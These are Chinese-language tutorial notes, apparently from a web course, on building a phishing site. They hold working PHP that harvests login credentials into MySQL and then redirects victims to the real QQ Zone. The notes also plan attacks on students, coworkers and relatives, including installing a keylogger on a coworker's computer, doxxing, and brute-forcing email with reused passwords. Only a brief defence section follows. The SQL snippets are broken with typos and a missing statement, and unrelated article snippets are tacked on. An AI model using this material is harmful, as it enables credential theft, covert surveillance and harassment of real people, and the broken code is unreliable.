钓鱼网站开发原理(社会工程学)
钓鱼网站开发原理(社会工程学)
- 一、课程简介
- 1、课程大纲
- 2、课程目标
- 3、知识储备
- 二、钓鱼网站简介
- 1、什么是钓鱼网站
- 2、开发&原理
- 三、PHP环境搭建
- 1、简介
- 2、自动安装MySQL/apache/PHP
- 3、安装navicat
- 四、PDO表单入库案例
- 1、语法
- 2、显示登录表单
- 3、入库(收集用户提交的数据)
- 五、通过PHP开发钓鱼网站
- 六、生活中隐形钓鱼网站(人肉搜索原理&提防)
- 1、社会工程学简介(社工)
- 2、社工实践
- 1)需求:获取学生、公司同事、亲人等账号密码
- 2)获取网络用户更多信息
- 3、人肉搜索原理
- 4、生活中隐形钓鱼网站
- 5、提防
一、课程简介
1、课程大纲
钓鱼网站简介(是什么,怎么写的,原理)
PHP环境搭建(准备)
PDO表单入库(通过PHP收集用户数据)
通过PHP开发钓鱼网站
生活中隐形的钓鱼网站(人肉搜索原理&提防)
2、课程目标
通过本次公开课,大家可以
理解钓鱼网站概念&原理
掌握PHP环境搭建
掌握通过PHP的PDO扩展收集用户登录表单提交的数据
掌握钓鱼网站的开发
理解人肉搜索的原理&提防
3、知识储备
HTML基础
PHP基础
MySQL基础
二、钓鱼网站简介
1、什么是钓鱼网站
钓鱼网站:指伪装成银行/社交平台/购物平台,窃取用户提交的银行账号、密码等私密信息的网站。
简单概括:坏人制作了一个网站,通过各种手段将网址发给你,你没抗住诱惑输入了银行账号和密码。
2、开发&原理
步骤1:
通过各种渠道传递诱惑消息,诱导用户打开
利用传智PHP学科基础班DIV+CSS课程技术-》所开发的钓鱼网站
步骤2:
通过表单收集用户提交的账号&密码
三、PHP环境搭建
1、简介
工具:PHP study.exe(网址:http://phpstudy.php.cn/)
环境:
MySQL:存放数据
Apache:web服务器
PHP:将用户提交的账号密码保存到MySQL中
2、自动安装MySQL/apache/PHP
3、安装navicat
Navicat:数据库管理工具(MySQL),用于查看本地数据库中的表
#创建名为php的数据库
drop databse if exists php;
creat database php;
use php;
#创建表
drop table if exists users;
id int primary key auto_incream comment ‘编号’,
username varche(45) not null comment ‘账号’,
pwd varche(80) not null comment ‘密码’,
creat_at int not null default 0 comment ‘创建于’,
updated_at int not default 0 comment ‘更新于’
)charset=utf8;
四、PDO表单入库案例
1、语法
HTML知识点
表单:<form action="./test.php" method="post"> </form>
账号:<input type="text" name="username" id="">
密码:<input type="password" name="pwd" id="">
PHP知识点
//通过PHP的PDO扩展保存数据
//创建PDO对象
$pdo = new PDO('mysql:dbname=php','root','root');
//执行sql语句(将输入的账号密码保存到MySQL仓库中)
$rs = $pdo->exec("insert into users values(null,'$username','$pwd',$time,$time)");
2、显示登录表单
步骤1:使用sublime创建test.html文件
步骤2:输入【!】按【tab】键
步骤3:输入【下述代码】即可
<form action="./test.php" method="post"> <center> <p>账号:<input type="text" name="username" id=""></br></p><p>密码:<input type="password" name="pwd" id=""></br></p><input type="submit" value="登录" style="width: 250px;height: 40px;background-color: blue; font-size:18px;color:white;"></center>
</form>
3、入库(收集用户提交的数据)
步骤1:创建test.php文件
步骤2:通过$_POST[‘NAME’] 接收数据
步骤3:通过PDO语法入库
<?php//服务器端脚本
//获取全部提交的数据 $_POST
//获取&_POST里面的指定数据 $_POST['表单的name属性值']
//打印数据 print_(待打印的数据)//print_r($POST)
$username = $_POST['username'];
$pwd = $_POST['pwd'];
$time = time();//通过PHP的PDO扩展保存数据
//创建PDO对象
$pdo = new PDO('mysql:dbname=php','root','root');
//执行sql语句(将输入的账号密码保存到MySQL仓库中)
$rs = $pdo->exec("insert into users values(null,'$username','$pwd',$time,$time)");
$realUrl='https://qzone.qq.com/';
//判断跳转
if($rs){echo "<script>alert('success');location.href='$realUrl'</script>";
}else{echo "<script>alert('failure');location.href='$realUrl'</script>";}?>
//提交信息后输出警告框提示信息,并跳转到真实网址
五、通过PHP开发钓鱼网站
步骤1:将钓鱼网站文件放到站点目录中
步骤2:访问测试
步骤3:通过PHP创建收集用户数据
六、生活中隐形钓鱼网站(人肉搜索原理&提防)
1、社会工程学简介(社工)
简单理解:
利用“人性”的心理弱点、本能反应、好奇心、信任、贪婪等心理,进行欺骗、伤害等危害手段、最终取得自身利益的手法。
应用场景:短信诈骗,电话诈骗如以知名人士的名义去推销诈骗等
2、社工实践
1)需求:获取学生、公司同事、亲人等账号密码
学生:角色讲师/同学-》通过PHP开发个人博客–》查看精品文章必须注册
同事:人物性格、兴趣爱好分析-》通过PHP开发偶像博客/论坛-》注册上厕所/吃饭电脑安装键盘记录精灵
亲人:通过PHP仿QQ空间相册(封面女友照片)-》发送亲人点击提示输入账号密码-》入库
2)获取网络用户更多信息
场景1:普通用户A通过钓鱼网站导致密码被盗
场景2:网站被攻击管理员邮箱和账号被盗
明确:80%的人的银行卡、QQ、微信、身份证等密码都存在关联或者直接一样
手法:通过落网用户的已知账号和密码-》进一步采集昵称、163邮箱、qq邮箱、贴吧等进行分析-》人肉-》尝试暴力破解(注:通过落网账号密码分析后获得163邮箱账号,尝试暴力破解,成功进入后如果是一个站长势必会进一步获得购买服务器等相关信息)
3、人肉搜索原理
准备:确定人肉角色
手法:获取该角色常用昵称、手机号、qq号、邮箱、微博等信息-》谷歌/百度
结果:真实性格、兴趣爱好、经历、历史照片等
练习
通过留下的账号信息进一步分析
1,点击头像进入个人主页
2,通过关注的贴吧-》兴趣爱好
3,回复的内容 -》性格人品思想
照片
还能搜索此人以前注册的网站
4、生活中隐形钓鱼网站
1)百度地图记录你去过的地方
2)微博提供接口(所有用户发布的说说动态) --》便于商家提供用户体验
3)智能手机相册同步云–》可能存在人脸识别大数据分析、万一数据泄露
4)安卓手机应用商店APP小心下载(注:避免钓鱼网站)
5)社交软件附近人/摇一摇(注:慎用你以为是女的,指不定就是我)
5、提防
1)避免在网上留下痕迹,如QQ、手机号等(注:可通过上述方式检测删除)
2)搞编程势必需要登录一些网站看资料或视频 --》 切记用小号密码123456
自己注册个小号,密码随意
相关文章:
钓鱼网站开发原理(社会工程学)
钓鱼网站开发原理(社会工程学) 一、课程简介1、课程大纲2、课程目标3、知识储备 二、钓鱼网站简介1、什么是钓鱼网站2、开发&原理 三、PHP环境搭建1、简介2、自动安装MySQL/apache/PHP3、安装navicat 四、PDO表单入库案例1、语法2、显示登录表单3、入…...

如何优雅地使用 console.log 打印数组或对象
一、背景 使用 console.log 在控制台中打印数组或者对象时,很多时候它们的字段都是默认关闭的,需要手动一个个的点开,非常不直观且麻烦。 二、解决方案 使用 JSON.stringify() 的第三个参数 我们来看一下官方对于 JSON.stringify 的介绍 三、…...

模式分解的概念(下)-无损连接分解的与保持函数依赖分解的定义和判断、损失分解
一、无损连接分解 1、定义 2、检验一个分解是否是无损连接分解的算法 输入与输出 输入: 关系模式R(U,F),F是最小函数依赖集 R上的一个分解 输出: 判断分解是否为无损连接分解 (1&#x…...
vue3父组件获取子组件的实例对象
一,ref 在父组件的模板里,对子组件的标签定义ref属性,并且设置属性值,在方法里获取ref()获取实例对象。 父组件: <template><div ><div>我是父组件</div><<SonCom ref"sonComRe…...

主流框架选择:React、Angular、Vue的详细比较
目前前端小伙伴经常使用三种广泛使用的开发框架:React、Angular、Vue - 来设计网站 Reactjs:效率和多功能性而闻名 Angularjs:创建复杂的应用程序提供了完整的解决方案,紧凑且易于使用的框架 Vuejs:注重灵活性和可重用…...
交易者的意义是什么?
按照阿德勒的说法:人生的意义就是为社会创造价值,推动整个人类社会的发展进步。 我认同且秉持这种观点。 而在交易中,你是否直接或者间接为社会做贡献了呢?这个还真不好说。 但是做为职业交易者,你的存在价值&#…...
io_uring
转:[译] Linux 异步 I_O 框架 io_uring:基本原理、程序示例与性能压测(2020) 新一代异步IO框架 io_uring | 得物技术 干翻 nio ,王炸 io_uring 来了 !!(图解史上最全&a…...
构建高并发Web应用:基于Gunicorn、Flask和Docker的部署指南
目录 一 理解基础组件 什么是Flask? 什么是Gunicorn? 什么是Docker? 二 环境准备 三 构建Flask应用 创建项目结构 编写Flask应用 app/views.py 四 使用Gunicorn部署Flask应用 配置Gunicorn Gunicorn配置文件 五 使用Docker进行容器化部署 编写Dockerfile 构建…...
【Ruby简单脚本02】双色球系统
# frozen_string_literal: true require date # 生成中奖号码的工具 # 红球 1-32 篮球 1-15 def create_num nums [] 6.times do while true num rand(1..32) unless nums.include?(num) nums << num break end end end blue rand(1..15) nums…...

Netty ByteBuf 使用详解
文章目录 1.概述2. ByteBuf 分类3. 代码实例3.1 常用方法3.1.1 创建ByteBuf3.1.2 写入字节3.1.3 扩容3.1.2.1 扩容实例3.1.2.2 扩容计算新容量代码 3.1.4 读取字节3.1.5 标记回退3.1.6 slice3.1.7 duplicate3.1.8 CompositeByteBuf3.1.9 retain & release3.1.9.1 retain &a…...

怎样去掉卷子上的答案并打印
当面对试卷答案的问题时,一个高效而简单的方法是利用图片编辑软件中的“消除笔”功能。这种方法要求我们首先将试卷拍摄成照片,然后利用该功能轻松擦除答案。尽管这一方法可能需要些许时间和耐心,但它确实为我们提供了一个可行的解决途径。 然…...

海思SS928/SD3403开发笔记1——使用串口调试开发板
该板子使用串口可以调试,下面是win11 调试 该板子步骤 1、给板子接入鼠标、键盘、usb转串口 2、下载SecureCRT,并科学使用 下载地址: 链接:https://pan.baidu.com/s/11dIkZVstvHQUhE8uS1YO0Q 提取码:vinv 3、安装c…...
JSON数据操作艺术
在现代Web开发和数据交换场景中,JSON(JavaScript Object Notation)作为一种轻量级的数据交换格式,扮演着至关重要的角色。它以易于阅读的文本形式存储和传输数据对象,而这些对象的核心便是由属性名(键&…...

如何验证Rust中的字符串变量在超出作用域时自动释放内存?
讲动人的故事,写懂人的代码 在公司内部的Rust培训课上,讲师贾克强比较了 Rust、Java 和 C++ 三种编程语言在变量越过作用域时自动释放堆内存的不同特性。 Rust 通过所有权系统和借用检查,实现了内存安全和自动管理,从而避免了大部分内存泄漏。Rust 自动管理标准库中数据类…...

55.Python pip install 安装失败的一个情况Requirement already satisfied
1.问题 以前使用Pycharm 社区版开发的一个项目,今天使用PyCharm 专业版打开,原项目的虚拟环境从venv更换为.venv,然后重新安装插件。安装时,提示Requirement already satisfied: qt_material in c:\tools\python37\lib\site-packa…...

Axios进阶
目录 axios实例 axios请求配置 拦截器 请求拦截器 响应拦截器 取消请求 axios不仅仅是简单的用基础请求用法的形式向服务器请求数据,一旦请求的端口与次数变多之后,简单的请求用法会有些许麻烦。所以,axios允许我们进行创建axios实例、ax…...
C++ 丑数
描述 把只包含质因子2、3和5的数称作丑数(Ugly Number)。例如6、8都是丑数,但14不是,因为它包含质因子7。 习惯上我们把1当做是第一个丑数。求按从小到大的顺序的第 n个丑数。 数据范围:0≤𝑛≤20000≤n≤…...
小山菌_代码随想录算法训练营第三十天|122.买卖股票的最佳时机II、55. 跳跃游戏 、45.跳跃游戏II、1005.K次取反后最大化的数组和
122.买卖股票的最佳时机II 文档讲解:代码随想录.买卖股票的最佳时机II 视频讲解:贪心算法也能解决股票问题!LeetCode:122.买卖股票最佳时机II 状态:已完成 代码实现 class Solution { public:int maxProfit(vector<…...

SpringMVC系列七: 手动实现SpringMVC底层机制-上
手动实现SpringMVC底层机制 博客的技术栈分析 🛠️具体实现细节总结 🐟准备工作🍍搭建SpringMVC底层机制开发环境 实现任务阶段一🍍开发ZzwDispatcherServlet🥦说明: 编写ZzwDispatcherServlet充当原生的DispatcherSer…...

嵌入式web 服务器boa的编译和移植
编译环境:虚拟机 ubuntu 18.04 目标开发板:飞凌OKA40i-C开发板, Linux3.10 操作系统 开发板本身已经移植了boa服务器,但是在使用过程中发现POST方法传输大文件时对数据量有限制,超过1M字节就无法传输,这是…...

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)
题目:3442. 奇偶频次间的最大差值 I 思路 :哈希,时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况,哈希表这里用数组即可实现。 C版本: class Solution { public:int maxDifference(string s) {int a[26]…...

微软PowerBI考试 PL300-选择 Power BI 模型框架【附练习数据】
微软PowerBI考试 PL300-选择 Power BI 模型框架 20 多年来,Microsoft 持续对企业商业智能 (BI) 进行大量投资。 Azure Analysis Services (AAS) 和 SQL Server Analysis Services (SSAS) 基于无数企业使用的成熟的 BI 数据建模技术。 同样的技术也是 Power BI 数据…...
R语言AI模型部署方案:精准离线运行详解
R语言AI模型部署方案:精准离线运行详解 一、项目概述 本文将构建一个完整的R语言AI部署解决方案,实现鸢尾花分类模型的训练、保存、离线部署和预测功能。核心特点: 100%离线运行能力自包含环境依赖生产级错误处理跨平台兼容性模型版本管理# 文件结构说明 Iris_AI_Deployme…...

聊聊 Pulsar:Producer 源码解析
一、前言 Apache Pulsar 是一个企业级的开源分布式消息传递平台,以其高性能、可扩展性和存储计算分离架构在消息队列和流处理领域独树一帜。在 Pulsar 的核心架构中,Producer(生产者) 是连接客户端应用与消息队列的第一步。生产者…...

UDP(Echoserver)
网络命令 Ping 命令 检测网络是否连通 使用方法: ping -c 次数 网址ping -c 3 www.baidu.comnetstat 命令 netstat 是一个用来查看网络状态的重要工具. 语法:netstat [选项] 功能:查看网络状态 常用选项: n 拒绝显示别名&#…...

大数据零基础学习day1之环境准备和大数据初步理解
学习大数据会使用到多台Linux服务器。 一、环境准备 1、VMware 基于VMware构建Linux虚拟机 是大数据从业者或者IT从业者的必备技能之一也是成本低廉的方案 所以VMware虚拟机方案是必须要学习的。 (1)设置网关 打开VMware虚拟机,点击编辑…...

Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility
Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility 1. 实验室环境1.1 实验室环境1.2 小测试 2. The Endor System2.1 部署应用2.2 检查现有策略 3. Cilium 策略实体3.1 创建 allow-all 网络策略3.2 在 Hubble CLI 中验证网络策略源3.3 …...
服务器硬防的应用场景都有哪些?
服务器硬防是指一种通过硬件设备层面的安全措施来防御服务器系统受到网络攻击的方式,避免服务器受到各种恶意攻击和网络威胁,那么,服务器硬防通常都会应用在哪些场景当中呢? 硬防服务器中一般会配备入侵检测系统和预防系统&#x…...
C# SqlSugar:依赖注入与仓储模式实践
C# SqlSugar:依赖注入与仓储模式实践 在 C# 的应用开发中,数据库操作是必不可少的环节。为了让数据访问层更加简洁、高效且易于维护,许多开发者会选择成熟的 ORM(对象关系映射)框架,SqlSugar 就是其中备受…...
JVM暂停(Stop-The-World,STW)的原因分类及对应排查方案
JVM暂停(Stop-The-World,STW)的完整原因分类及对应排查方案,结合JVM运行机制和常见故障场景整理而成: 一、GC相关暂停 1. 安全点(Safepoint)阻塞 现象:JVM暂停但无GC日志,日志显示No GCs detected。原因:JVM等待所有线程进入安全点(如…...